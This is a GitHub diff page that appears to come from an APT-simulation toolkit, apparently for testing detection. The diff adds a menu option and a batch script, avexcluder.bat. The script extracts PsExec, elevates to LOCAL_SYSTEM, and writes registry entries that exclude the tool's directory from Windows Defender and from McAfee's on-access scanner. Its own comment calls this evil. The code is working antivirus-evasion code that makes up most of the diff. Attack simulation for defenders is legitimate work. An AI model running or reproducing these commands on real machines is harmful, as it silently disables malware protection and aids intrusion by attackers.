File tree Expand file tree Collapse file tree
Expand file tree Collapse file tree Original file line number Diff line number Diff line change @@ -77,6 +77,11 @@ SET /P M=Set the maximum seconds to wait:
7777SET SECONDMAX = %M%
7878GOTO SETTINGS
7979
80+ :AVEXCLUDER
81+ " %ZIP% " e -p%PASS% %TOOLARCH% -aoa -o" %TEMP% " toolset\avexcluder.bat > NUL
82+ call " %TEMP% \avexcluder.bat"
83+ GOTO MENU
84+
8085:MENU
8186CLS
8287color 07
@@ -96,6 +101,7 @@ ECHO [7] Lateral Movement
96101ECHO [8] Persistence
97102ECHO [9] Privilege Escalation
98103ECHO .
104+ ECHO [A] Apply AV Exclusions in Registry
99105ECHO [S] Settings
100106ECHO [E] Exit
101107ECHO .
@@ -113,6 +119,8 @@ IF %M%==8 SET list="persistence"
113119IF %M% == 9 SET list = " privilege-escalation"
114120IF %M% == s GOTO SETTINGS
115121IF %M% == S GOTO SETTINGS
122+ IF %M% == a GOTO AVEXCLUDER
123+ IF %M% == A GOTO AVEXCLUDER
116124IF %M% == e GOTO END
117125IF %M% == E GOTO END
118126
Original file line number Diff line number Diff line change 1+ @ ECHO OFF
2+ @ setlocal EnableDelayedExpansion
3+
4+ ECHO ===========================================================================
5+ ECHO AV Excluder
6+ ECHO .
7+ ECHO We add exclusions for Antivirus products in the local registry
8+ ECHO I know this is evil but hey, we are attackers with admin rights and not malware, right?
9+ ping -n 3 127.0.0.1 > NUL
10+
11+ ECHO Extracting PsExec, which is used to swith into LOCAL_SYSTEM context
12+ " %ZIP% " e -p%PASS% %TOOLARCH% -aoa -o" %APTDIR% " toolset\p.exe > NUL
13+ ping -n 2 127.0.0.1 > NUL
14+
15+ ECHO ===========================================================================
16+ ECHO Excluding %APTDIR% for Windows Defender
17+ " %APTDIR% \p.exe" -accepteula -d -s cmd.exe /c REG ADD " HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v %APTDIR% /t REG_DWORD /d 0 /f
18+
19+ ping -n 3 127.0.0.1 > NUL
20+
21+ ECHO ===========================================================================
22+ ECHO Excluding %APTDIR% for McAfee OnAccess Scanner
23+ FOR /f " tokens=3 delims= " %%a in ('reg query " HKLM\SOFTWARE\Wow6432Node\McAfee\SystemCore\VSCore\On Access Scanner\McShield\Configuration\Default" /v NumExcludeItems') DO set num = %%a
24+ SET /a NEWNUM = %num%
25+ SET /a NEWNUM += 1
26+ SET NewExcludeItem = ExcludedItem_%NEWNUM%
27+
28+ ECHO Adding new exclude item ...
29+ " %APTDIR% \p.exe" -accepteula -d -s cmd.exe /c REG ADD " HKLM\SOFTWARE\Wow6432Node\McAfee\SystemCore\VSCore\On Access Scanner\McShield\Configuration\Default" /v %NewExcludeItem% /t REG_SZ /d " 3|15|%APTDIR% \*" /f
30+ ECHO Updating number of exclude items ...
31+ " %APTDIR% \p.exe" -accepteula -d -s cmd.exe /c REG ADD " HKLM\SOFTWARE\Wow6432Node\McAfee\SystemCore\VSCore\On Access Scanner\McShield\Configuration\Default" /v NumExcludeItems /t REG_DWORD /d %NEWNUM% /f
32+
33+ ping -n 3 127.0.0.1 > NUL
34+
35+ PAUSE
Original file line number Diff line number Diff line change 44 / ___ |/ ____/ / / ___/ / / / / / / / /_/ / / /_/ / /_/ /_/ / /
55 /_/ |_/_/ /_/ /____/_/_/ /_/ /_/\__,_/_/\__,_/\__/\____/_/
66
7- Florian Roth, Nextron Systems, v0.6 .0
7+ Florian Roth, Nextron Systems, v0.7 .0
You can’t perform that action at this time.
0 commit comments